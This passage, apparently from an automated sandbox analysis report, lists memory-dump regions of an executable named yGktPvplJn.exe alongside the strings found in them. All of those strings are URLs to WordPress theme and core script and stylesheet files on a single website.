00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/js/autoGrid.min.js?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/js/bootstrap.min.js?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/js/custom.js?ver=1680273941
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/js/jquery.wow.min.js?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/js/modernizr.custom.js?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/owl-carousel/owl.carousel.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/owl-carousel/owl.carousel.js?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/owl-carousel/owl.theme.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/owl-carousel/owl.transitions.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/themes/outstock/style.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/css/dist/block-library/style.min.css?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/js/comment-reply.min.js?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18
